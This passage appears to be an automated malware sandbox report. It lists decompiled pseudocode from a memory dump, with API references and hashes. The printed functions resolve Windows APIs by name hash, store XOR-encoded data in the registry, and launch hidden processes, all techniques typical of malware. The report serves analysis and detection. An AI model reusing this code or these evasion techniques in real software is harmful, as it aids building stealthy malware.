				_t40 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t40 + 0x30))(_t49);
				lstrcpynW(_t47,  &_v1046 + E0008C3D4( &_v528) * 2, 0x104);
				return 1;
			}

0x0008b054
0x0008b065
0x0008b077
0x0008b079
0x0008b087
0x0008b096
0x0008b0a1
0x0008b0a9
0x0008b0b6
0x0008b0bc
0x0008b0c0
0x0008b0c2
0x0008b0d6
0x0008b0df
0x0008b0ea
0x0008b0ea
0x0008b0d6
0x0008b0ed
0x0008b0f4
0x0008b112
0x0008b11f

APIs

memset.MSVCRT ref: 0008B079
memset.MSVCRT ref: 0008B087
SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000001,?,?,?,?,?,?,00000000), ref: 0008B0A1

Part of subcall function 0008B988: GetCurrentThread.KERNEL32(00000008,00000000,6D7F0000,00000000,?,?,0008BABE,74EC17D9,6D7F0000), ref: 0008B99B
Part of subcall function 0008B988: GetLastError.KERNEL32(?,?,0008BABE,74EC17D9,6D7F0000), ref: 0008B9A9
Part of subcall function 0008B988: GetCurrentProcess.KERNEL32(00000008,6D7F0000,?,?,0008BABE,74EC17D9,6D7F0000), ref: 0008B9C2

lstrcpynW.KERNEL32(?,?,00000104,?,?,?,?,?,00000000), ref: 0008B112

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Currentmemset$ErrorFolderLastPathProcessThreadlstrcpyn
String ID:
API String ID: 3158470084-0
Opcode ID: f7321fa265df397b34e7fe0a57d7072742dbdc6f6a895fe772b0551e61716fc8
Instruction ID: 557c4b2862d7431dd7c37e65f836cf05bf50ed83ee2e4a5d6d878eaccfa22926
Opcode Fuzzy Hash: f7321fa265df397b34e7fe0a57d7072742dbdc6f6a895fe772b0551e61716fc8
Instruction Fuzzy Hash: A5218EB2501118BFE710EBA4CC89EDA77ACFB49344F0040A5F205D7192EB749E858B60

Uniqueness

Uniqueness Score: -1.00%

Function 0008BF79, Relevance: 6.1, APIs: 4, Instructions: 72
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008BF79(short* __edx, short* _a4) {
				void* _v8;
				int _v12;
				int _v16;
				char* _v20;
				char* _t30;
				intOrPtr _t31;
				char* _t49;

				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				if(RegOpenKeyExW(0x80000002, __edx, 0, 0x20019,  &_v8) == 0) {
					if(RegQueryValueExW(_v8, _a4, 0,  &_v16, 0,  &_v12) != 0) {
						L6:
						if(_v8 != 0) {
							_t31 =  *0x9e68c; // 0xa5fab8
							 *((intOrPtr*)(_t31 + 0x1c))(_v8);
						}
						_t30 = 0;
						L9:
						return _t30;
					}
					_t49 = E000885E5(_v12);
					_v20 = _t49;
					if(_t49 == 0) {
						goto L6;
					}
					if(RegQueryValueExW(_v8, _a4, 0, 0, _t49,  &_v12) == 0) {
						RegCloseKey(_v8);
						_t30 = _t49;
						goto L9;
					}
					E000885FB( &_v20, 0xfffffffe);
					goto L6;
				}
				return 0;
			}

0x0008bf97
0x0008bf9a
0x0008bf9d
0x0008bfa8
0x0008bfcc
0x0008c009
0x0008c00c
0x0008c00e
0x0008c016
0x0008c016
0x0008c019
0x0008c01b
0x00000000
0x0008c01b
0x0008bfd6
0x0008bfd8
0x0008bfde
0x00000000
0x00000000
0x0008bffa
0x0008c027
0x0008c02a
0x00000000
0x0008c02a
0x0008c002
0x00000000
0x0008c008
0x00000000

APIs

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,00000000,00000000,?,?,00082BFB,00000000), ref: 0008BFA0
RegQueryValueExW.KERNEL32(00000000,00082BFB,00000000,?,00000000,00082BFB,00000000,?,?,00082BFB,00000000), ref: 0008BFC4
RegQueryValueExW.KERNEL32(00000000,00082BFB,00000000,00000000,00000000,00082BFB,?,?,00082BFB,00000000), ref: 0008BFF2
RegCloseKey.KERNEL32(00000000,?,?,00082BFB,00000000,?,?,?,?,?,?,?,000000AF,?), ref: 0008C027

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 38ab0bbf6ac3eaf8daace503cb5fefdc0bc49e5296211486f4e47b39a7d5bd76
Instruction ID: 4632079a76f7681410473c13cabb9030d18cd389d1f83420d4fcad4ccf15ba59
Opcode Fuzzy Hash: 38ab0bbf6ac3eaf8daace503cb5fefdc0bc49e5296211486f4e47b39a7d5bd76
Instruction Fuzzy Hash: A3212CB5900118FFEB10EFA9DC04E9EBBF8FF88780B1541A6B505E7121D7309A00EB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008BEDD, Relevance: 6.1, APIs: 4, Instructions: 69
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008BEDD(void* __ecx, char* __edx, char* _a4, intOrPtr* _a12) {
				void* _v8;
				int _v12;
				int _v16;
				intOrPtr* _t43;
				char* _t46;

				_t46 = 0;
				_v8 = 0;
				_v16 = 0;
				if(RegOpenKeyExA(__ecx, __edx, 0, 0x20019,  &_v8) != 0) {
					return 0;
				}
				_v12 = 0;
				if(RegQueryValueExA(_v8, _a4, 0,  &_v16, 0,  &_v12) == 0) {
					_t46 = E000885E5(_v12 + 1);
					if(_t46 != 0 && RegQueryValueExA(_v8, _a4, 0,  &_v16, _t46,  &_v12) == 0) {
						_t43 = _a12;
						if(_t43 != 0) {
							 *_t43 = _v12;
						}
					}
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				return _t46;
			}

0x0008bef0
0x0008befa
0x0008befd
0x0008bf05
0x00000000
0x0008bf07
0x0008bf0e
0x0008bf28
0x0008bf34
0x0008bf39
0x0008bf57
0x0008bf5c
0x0008bf61
0x0008bf61
0x0008bf5c
0x0008bf39
0x0008bf66
0x0008bf70
0x0008bf70
0x00000000

APIs

RegOpenKeyExA.KERNEL32(?,00000000,00000000,00020019,?,00A5FC18,00000000,?,00000002), ref: 0008BF00
RegQueryValueExA.KERNEL32(?,00000002,00000000,?,00000000,00000002,?,00000002), ref: 0008BF23
RegQueryValueExA.KERNEL32(?,00000002,00000000,?,00000000,00000002,?,00000002), ref: 0008BF50
RegCloseKey.KERNEL32(?,?,00000002), ref: 0008BF70

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: a7602f5a7b7a77fe21fcbb65e4555bb0e14a0df820c7b2c10f36d0a91078051d
Instruction ID: 08a3d4786b9fcf1215320742e2371db718480cd27cf41c664d751a239e0d4d89
Opcode Fuzzy Hash: a7602f5a7b7a77fe21fcbb65e4555bb0e14a0df820c7b2c10f36d0a91078051d
Instruction Fuzzy Hash: B221B6B5A00148BF9B60EFA9DC84E9EBBF8FB99740B1141A5B945D7121D730DE40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0008DFEF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008DFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E0008D442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E0008C3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x0008dff8
0x0008dffa
0x0008dffd
0x0008e000
0x0008e006
0x0008e063
0x00000000
0x0008e063
0x0008e008
0x0008e013
0x0008e016
0x0008e01b
0x0008e020
0x0008e023
0x0008e025
0x0008e028
0x0008e02b
0x0008e030
0x00000000
0x00000000
0x00000000
0x00000000
0x0008e032
0x0008e032
0x0008e044
0x0008e051
0x0008e055
0x00000000
0x00000000
0x0008e057
0x0008e05a
0x0008e05b
0x0008e061
0x00000000
0x00000000
0x00000000
0x0008e061
0x0008e078
0x0008e07d
0x0008e081
0x00000000
0x0008e08d
0x0008e08d
0x0008e08f
0x0008e08f
0x0008e095
0x00000000
0x00000000
0x0008e09b
0x0008e09f
0x0008e0a3
0x00000000
0x00000000
0x00000000
0x0008e0a3
0x0008e0a9
0x0008e0b1
0x0008e0b6
0x0008e0b9
0x0008e0b9
0x0008e0bb
0x0008e0bf
0x0008e0c7
0x00000000
0x00000000
0x0008e0cb
0x0008e0d3
0x00000000
0x00000000
0x00000000
0x0008e0d3

APIs

LoadLibraryA.KERNEL32(.dll), ref: 0008E0BF
GetProcAddress.KERNEL32(00000000,8DF08B59), ref: 0008E0CB

Strings

.dll, xrefs: 0008E0BB, 0008E0BE

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: e6885038d973816d330ec086b720f4238475c46e79c454843e01917cf18b7a3a
Instruction ID: 9dcfbf0a2986d51c60a3d148e279124a35a2d10368e005c51dd708cc5af47f57
Opcode Fuzzy Hash: e6885038d973816d330ec086b720f4238475c46e79c454843e01917cf18b7a3a
Instruction Fuzzy Hash: 6531C431A002999BDB64EFADC884BAEBBF5BF44304F284869D885D7351DB70DD91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00089B24, Relevance: 4.8, APIs: 3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00089B24(char __ecx, int __edx, void* __fp0, int* _a4, int* _a8, int* _a12) {
				void* _v8;
				int _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				char _v32;
				char _v36;
				int* _v40;
				int** _v44;
				void _v108;
				int* _t90;
				void* _t91;
				char* _t92;
				long _t96;
				int* _t97;
				intOrPtr _t98;
				int* _t101;
				long _t111;
				int* _t112;
				intOrPtr _t122;
				char* _t125;
				intOrPtr _t126;
				intOrPtr _t128;
				int* _t129;
				intOrPtr _t131;
				int* _t133;
				intOrPtr _t134;
				int* _t135;
				intOrPtr _t136;
				char* _t139;
				int _t143;
				int _t147;
				intOrPtr _t148;
				int* _t149;
				int* _t154;
				int** _t155;
				int* _t161;
				int* _t163;
				intOrPtr _t164;
				intOrPtr _t171;
				int _t176;
				char* _t177;
				char* _t178;
				char _t179;
				void* _t180;
				void* _t181;
				void* _t183;

				_t176 = 0;
				_v24 = __edx;
				_t177 = 0;
				_v32 = __ecx;
				_v28 = 0;
				_v8 = 0x80000001;
				_v20 = 0;
				_t155 = E000885E5(0x110);
				_v44 = _t155;
				if(_t155 != 0) {
					_t158 = _a4;
					_t155[0x42] = _a4;
					E0008B638(_a4, __edx, __eflags, __fp0, _t158,  &_v108);
					_t161 = _v108;
					__eflags = _t161 - 0x61 - 0x19;
					_t90 = _t161;
					if(_t161 - 0x61 <= 0x19) {
						_t90 = _t90 - 0x20;
						__eflags = _t90;
					}
					_v108 = _t90;
					_t91 = E000895A8(0x4d2);
					_t163 = _v24;
					_v16 = _t91;
					__eflags = _t163;
					if(_t163 == 0) {
						L16:
						_t164 =  *0x9e688; // 0xb0000
						__eflags =  *((intOrPtr*)(_t164 + 0x214)) - 3;
						if( *((intOrPtr*)(_t164 + 0x214)) != 3) {
							_push(_t176);
							_push( &_v108);
							_push("\\");
							_t92 = E00089273(_t91);
							_t181 = _t181 + 0x10;
							L20:
							_t177 = _t92;
							_v20 = _t177;
							goto L21;
						}
						_v24 = _t176;
						_v8 = 0x80000003;
						_t122 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t122 + 0x20))( *((intOrPtr*)( *((intOrPtr*)(_t164 + 0x110)))),  &_v24);
						__eflags = _v24 - _t177;
						if(_v24 == _t177) {
							goto L21;
						}
						_push(_t176);
						_push( &_v108);
						_t125 = "\\";
						_push(_t125);
						_push(_v16);
						_push(_t125);
						_t92 = E00089273(_v24);
						_t181 = _t181 + 0x18;
						goto L20;
					} else {
						_t126 =  *0x9e688; // 0xb0000
						_t128 =  *0x9e68c; // 0xa5fab8
						_t129 =  *((intOrPtr*)(_t128 + 0x68))(_t163,  *((intOrPtr*)( *((intOrPtr*)(_t126 + 0x110)))));
						__eflags = _t129;
						if(_t129 != 0) {
							_t91 = _v16;
							goto L16;
						}
						_v12 = _t176;
						_t131 =  *0x9e68c; // 0xa5fab8
						_v8 = 0x80000003;
						 *((intOrPtr*)(_t131 + 0x20))(_v24,  &_v12);
						__eflags = _v12 - _t177;
						if(_v12 == _t177) {
							L21:
							E000885A3( &_v16);
							_t96 = RegOpenKeyExA(_v8, _t177, _t176, 0x20019,  &_v28);
							__eflags = _t96;
							if(_t96 == 0) {
								_t97 = _a8;
								__eflags = _t97;
								if(_t97 != 0) {
									 *_t97 = 1;
								}
								_push(_v28);
								L30:
								_t98 =  *0x9e68c; // 0xa5fab8
								 *((intOrPtr*)(_t98 + 0x1c))();
								_t155[0x43] = _v8;
								_t101 = E0008C3BB(_t177);
								 *_t155 = _t101;
								__eflags = _t101;
								if(_t101 == 0) {
									L32:
									E000885FB( &_v20, 0xffffffff);
									return _t155;
								} else {
									goto L31;
								}
								do {
									L31:
									 *(_t155 + _t176 + 4) =  *(_t180 + (_t176 & 0x00000003) + 8) ^ _t177[_t176];
									_t176 = _t176 + 1;
									__eflags = _t176 -  *_t155;
								} while (_t176 <  *_t155);
								goto L32;
							}
							_v16 = _t176;
							_t111 = RegCreateKeyA(_v8, _t177,  &_v16);
							__eflags = _t111;
							if(_t111 == 0) {
								_t112 = _a8;
								__eflags = _t112;
								if(_t112 != 0) {
									 *_t112 = _t176;
								}
								_push(_v16);
								goto L30;
							}
							L23:
							E000885FB( &_v44, 0x110);
							memset( &_v108, _t176, 0x40);
							E000885FB( &_v20, 0xffffffff);
							goto L1;
						}
						_push(_t176);
						_push(_v16);
						_t178 = "\\";
						_push(_t178);
						_t133 = E00089273(_v12);
						_t181 = _t181 + 0x10;
						_v40 = _t133;
						__eflags = _t133;
						if(_t133 == 0) {
							goto L23;
						}
						_t134 =  *0x9e68c; // 0xa5fab8
						_t135 =  *((intOrPtr*)(_t134 + 0x14))(_v8, _t133, _t176, 0x20019,  &_v36);
						__eflags = _t135;
						if(_t135 == 0) {
							_t136 =  *0x9e68c; // 0xa5fab8
							 *((intOrPtr*)(_t136 + 0x1c))(_v36);
						} else {
							_t143 = E000895C2( &_v36, 0x34);
							_v24 = _t143;
							_t179 = E000892C6(_v32);
							_v32 = _t179;
							E000885B6( &_v24);
							_t183 = _t181 + 0x18;
							_t147 = E00089237(_v12);
							_v24 = _t147;
							_t148 =  *0x9e68c; // 0xa5fab8
							_t149 =  *((intOrPtr*)(_t148 + 0x30))(_v8, _t147, _t179, "\\", _t143, _t176);
							__eflags = _t149;
							if(_t149 == 0) {
								_t154 = _a12;
								__eflags = _t154;
								if(_t154 != 0) {
									 *_t154 = 1;
								}
							}
							E000885FB( &_v32, 0xfffffffe);
							E000885FB( &_v24, 0xfffffffe);
							_t181 = _t183 + 0x10;
							_t178 = "\\";
						}
						_t139 = E00089273(_v12);
						_t171 =  *0x9e684; // 0xa5f8f0
						_t181 = _t181 + 0x18;
						_t177 = _t139;
						_v20 = _t177;
						 *((intOrPtr*)(_t171 + 0x34))(_v12, _t178, _v16, _t178,  &_v108, _t176);
						E000885FB( &_v40, 0xffffffff);
						goto L21;
					}
				}
				L1:
				return 0;
			}

0x00089b2d
0x00089b2f
0x00089b32
0x00089b34
0x00089b3c
0x00089b3f
0x00089b46
0x00089b4e
0x00089b50
0x00089b56
0x00089b5f
0x00089b67
0x00089b6d
0x00089b74
0x00089b7a
0x00089b7c
0x00089b7f
0x00089b81
0x00089b81
0x00089b81
0x00089b89
0x00089b8c
0x00089b91
0x00089b94
0x00089b97
0x00089b99
0x00089ccf
0x00089ccf
0x00089cd5
0x00089cdc
0x00089d1d
0x00089d21
0x00089d22
0x00089d28
0x00089d2d
0x00089d30
0x00089d30
0x00089d32
0x00000000
0x00089d32
0x00089ce1
0x00089ceb
0x00089cf4
0x00089cf9
0x00089cfc
0x00089cff
0x00000000
0x00000000
0x00089d01
0x00089d05
0x00089d06
0x00089d0b
0x00089d0c
0x00089d0f
0x00089d13
0x00089d18
0x00000000
0x00089b9f
0x00089b9f
0x00089bac
0x00089bb2
0x00089bb5
0x00089bb7
0x00089ccc
0x00000000
0x00089ccc
0x00089bc0
0x00089bc4
0x00089bcc
0x00089bd3
0x00089bd6
0x00089bd9
0x00089d35
0x00089d38
0x00089d50
0x00089d53
0x00089d55
0x00089da9
0x00089dac
0x00089dae
0x00089db0
0x00089db0
0x00089db6
0x00089db9
0x00089db9
0x00089dbe
0x00089dc5
0x00089dcb
0x00089dd0
0x00089dd3
0x00089dd5
0x00089dec
0x00089df2
0x00000000
0x00000000
0x00000000
0x00000000
0x00089dd7
0x00089dd7
0x00089de3
0x00089de7
0x00089de8
0x00089de8
0x00000000
0x00089dd7
0x00089d5a
0x00089d67
0x00089d6a
0x00089d6c
0x00089d9b
0x00089d9e
0x00089da0
0x00089da2
0x00089da2
0x00089da4
0x00000000
0x00089da4
0x00089d6e
0x00089d77
0x00089d83
0x00089d8e
0x00000000
0x00089d93
0x00089bdf
0x00089be0
0x00089be3
0x00089be8
0x00089bec
0x00089bf1
0x00089bf4
0x00089bf7
0x00089bf9
0x00000000
0x00000000
0x00089c0a
0x00089c12
0x00089c15
0x00089c17
0x00089c8c
0x00089c94
0x00089c19
0x00089c1b
0x00089c2a
0x00089c32
0x00089c38
0x00089c3b
0x00089c43
0x00089c46
0x00089c50
0x00089c53
0x00089c58
0x00089c5b
0x00089c5d
0x00089c5f
0x00089c62
0x00089c64
0x00089c66
0x00089c66
0x00089c64
0x00089c72
0x00089c7d
0x00089c82
0x00089c85
0x00089c85
0x00089ca4
0x00089ca9
0x00089caf
0x00089cb2
0x00089cb4
0x00089cba
0x00089cc3
0x00000000
0x00089cc9
0x00089b99
0x00089b58
0x00000000

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 271252755bdbbba4863b5af9e9cbddd2d91fb735f27a81b4b197cc1b9b879684
Instruction ID: 8bf3b9a9c04f0255c4ce92e5ae0d5093bb9bbef5c2286c786750eb7d5da8a5c5
Opcode Fuzzy Hash: 271252755bdbbba4863b5af9e9cbddd2d91fb735f27a81b4b197cc1b9b879684
Instruction Fuzzy Hash: 8B9135B1900209AFDF10EFA8DC45DEEBBB8FF09310F54416AF554AB262DB359A00DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008A076, Relevance: 4.6, APIs: 3, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0008A076(signed int __ecx, char* __edx, void* __fp0, void* _a4, char _a8, char _a12) {
				char* _v12;
				char _v16;
				int _v20;
				signed int _v24;
				intOrPtr _v28;
				char* _v32;
				char _v52;
				char _v64;
				char _v328;
				char _v2832;
				signed int _t48;
				signed int _t49;
				char* _t54;
				long _t73;
				long _t80;
				long _t83;
				void* _t88;
				char* _t89;
				intOrPtr _t90;
				void* _t103;
				void* _t104;
				char* _t106;
				intOrPtr _t107;
				char _t108;

				_t48 = __ecx;
				_t89 = __edx;
				_v24 = __ecx;
				if(_a4 == 0 || _a8 == 0) {
					L13:
					_t49 = _t48 | 0xffffffff;
					__eflags = _t49;
					return _t49;
				} else {
					_t115 = __edx;
					if(__edx == 0) {
						goto L13;
					}
					_t107 =  *((intOrPtr*)(__ecx + 0x108));
					_push(_t107);
					_t103 = 4;
					_v12 = __edx;
					_v28 = E0008D442( &_v12, _t103);
					_t93 = _t107 + __edx;
					E00092339(_t107 + __edx,  &_v2832);
					_t54 = E00092465(_t93, _t115, __fp0,  &_v2832, 0, 0x64);
					_t108 = _a8;
					_v12 = _t54;
					_v20 = _t54 + 6 + _t108;
					_t106 = E000885E5(_t54 + 6 + _t108);
					_v32 = _t106;
					if(_t106 != 0) {
						 *_t106 = _a12;
						_t16 =  &(_t106[6]); // 0x6
						_t106[1] = 1;
						_t106[2] = _t108;
						E000886C2(_t16, _a4, _t108);
						_t21 = _t108 + 6; // 0x6
						E0009230B( &_v2832, _t21 + _t106, _v12);
						_v16 = _t89;
						_t90 = _v24;
						_v12 =  *((intOrPtr*)(_t90 + 0x108));
						_push( &_v52);
						_t104 = 8;
						E0008F4D2( &_v16, _t104);
						E0008EB03( &_v16,  &_v52, 0x14,  &_v328);
						E0008EB70(_t106, _v20,  &_v328);
						_t73 = E00089AEF(_t90);
						_v12 = _t73;
						__eflags = _t73;
						if(_t73 != 0) {
							E00089781(_v28,  &_v64, 0x10);
							_t80 = RegOpenKeyExA( *(_t90 + 0x10c), _v12, 0, 2,  &_a4);
							__eflags = _t80;
							if(_t80 == 0) {
								_t83 = RegSetValueExA(_a4,  &_v64, 0, 3, _t106, _v20);
								__eflags = _t83;
								if(_t83 != 0) {
									_push(0xfffffffc);
									_pop(0);
								}
								RegCloseKey(_a4);
							} else {
								_push(0xfffffffd);
								_pop(0);
							}
							E000885FB( &_v12, 0xffffffff);
						}
						E000885FB( &_v32, 0);
						return 0;
					}
					_t88 = 0xfffffffe;
					return _t88;
				}
			}

0x0008a083
0x0008a088
0x0008a08a
0x0008a08d
0x0008a1fc
0x0008a1fc
0x0008a1fc
0x00000000
0x0008a09d
0x0008a09d
0x0008a09f
0x00000000
0x00000000
0x0008a0a5
0x0008a0ae
0x0008a0b1
0x0008a0b2
0x0008a0ba
0x0008a0bd
0x0008a0c8
0x0008a0d8
0x0008a0dd
0x0008a0e0
0x0008a0e9
0x0008a0f1
0x0008a0f6
0x0008a0fb
0x0008a108
0x0008a10a
0x0008a111
0x0008a116
0x0008a119
0x0008a121
0x0008a12e
0x0008a133
0x0008a139
0x0008a142
0x0008a148
0x0008a14b
0x0008a14c
0x0008a15e
0x0008a16e
0x0008a17a
0x0008a17f
0x0008a182
0x0008a184
0x0008a18e
0x0008a1a9
0x0008a1ac
0x0008a1ae
0x0008a1c9
0x0008a1cc
0x0008a1ce
0x0008a1d0
0x0008a1d2
0x0008a1d2
0x0008a1db
0x0008a1b0
0x0008a1b0
0x0008a1b2
0x0008a1b2
0x0008a1e4
0x0008a1ea
0x0008a1f1
0x00000000
0x0008a1f8
0x0008a0ff
0x00000000
0x0008a0ff

APIs

Part of subcall function 00092465: _ftol2_sse.MSVCRT ref: 000924C6

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

RegOpenKeyExA.KERNEL32(?,00000000,00000000,00000002,00000000), ref: 0008A1A9

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeapOpen_ftol2_sse
String ID:
API String ID: 3756893521-0
Opcode ID: 80609887fad0cda89df55b1d4910c79932b70694a46e07a858c67c3ae36ab7ea
Instruction ID: 9837c11a2a5db70154801c8a69749f9dd764b4d37476d82eb47b71c86f4ebc30
Opcode Fuzzy Hash: 80609887fad0cda89df55b1d4910c79932b70694a46e07a858c67c3ae36ab7ea
Instruction Fuzzy Hash: 55518072A00209AFDF10EF94CC45FDEBBB8BF05320F108166F555A7191EB749645CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0008A953, Relevance: 4.6, APIs: 3, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0008A953(WCHAR* _a4, DWORD* _a8, intOrPtr _a12, signed int _a16) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOW _v92;
				signed int _t24;
				intOrPtr _t30;
				intOrPtr _t32;
				intOrPtr _t34;
				int _t42;
				WCHAR* _t44;

				_t42 = 0x44;
				memset( &_v92, 0, _t42);
				_v92.cb = _t42;
				asm("stosd");
				_t44 = 1;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 = _a16;
				if(_t24 != 0) {
					_v92.dwFlags = 1;
					_v92.wShowWindow = 0;
				}
				asm("sbb eax, eax");
				if(CreateProcessW(0, _a4, 0, 0, 0,  ~_t24 & 0x08000000, 0, 0,  &_v92,  &_v20) == 0) {
					_t44 = 0;
				} else {
					if(_a8 != 0) {
						_push(_a12);
						_t34 =  *0x9e684; // 0xa5f8f0
						_push(_v20.hProcess);
						if( *((intOrPtr*)(_t34 + 0x2c))() >= 0) {
							GetExitCodeProcess(_v20.hProcess, _a8);
						}
					}
					_t30 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t30 + 0x30))(_v20.hThread);
					_t32 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t32 + 0x30))(_v20);
				}
				return _t44;
			}

0x0008a95e
0x0008a967
0x0008a96e
0x0008a976
0x0008a97a
0x0008a97b
0x0008a97c
0x0008a97d
0x0008a97e
0x0008a983
0x0008a987
0x0008a98a
0x0008a98a
0x0008a997
0x0008a9b3
0x0008a9f0
0x0008a9b5
0x0008a9b8
0x0008a9ba
0x0008a9bd
0x0008a9c2
0x0008a9ca
0x0008a9d2
0x0008a9d2
0x0008a9ca
0x0008a9d8
0x0008a9e0
0x0008a9e3
0x0008a9eb
0x0008a9eb
0x0008a9f8

APIs

memset.MSVCRT ref: 0008A967
CreateProcessW.KERNEL32(00000000,00001388,00000000,00000000,00000000,0008C1ED,00000000,00000000,?,00000000,00000000,00000000,00000001), ref: 0008A9AE
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0008A9D2

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Process$CodeCreateExitmemset
String ID:
API String ID: 4170947310-0
Opcode ID: 44f48f37d7b1e0fc34509ccac0f21a07841da6e149e04422bcd18e4094f8b25d
Instruction ID: 4b40e9a5d87d3efaeecc27b4a8ada02aa973257df31753976c7ed456381e33e1
Opcode Fuzzy Hash: 44f48f37d7b1e0fc34509ccac0f21a07841da6e149e04422bcd18e4094f8b25d
Instruction Fuzzy Hash: 17215972A10158BFEF50AFA9DC84EEEBBBCFF18340B014426FA51E6561D6349C40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008B9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0008B9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E000885E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E000885FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

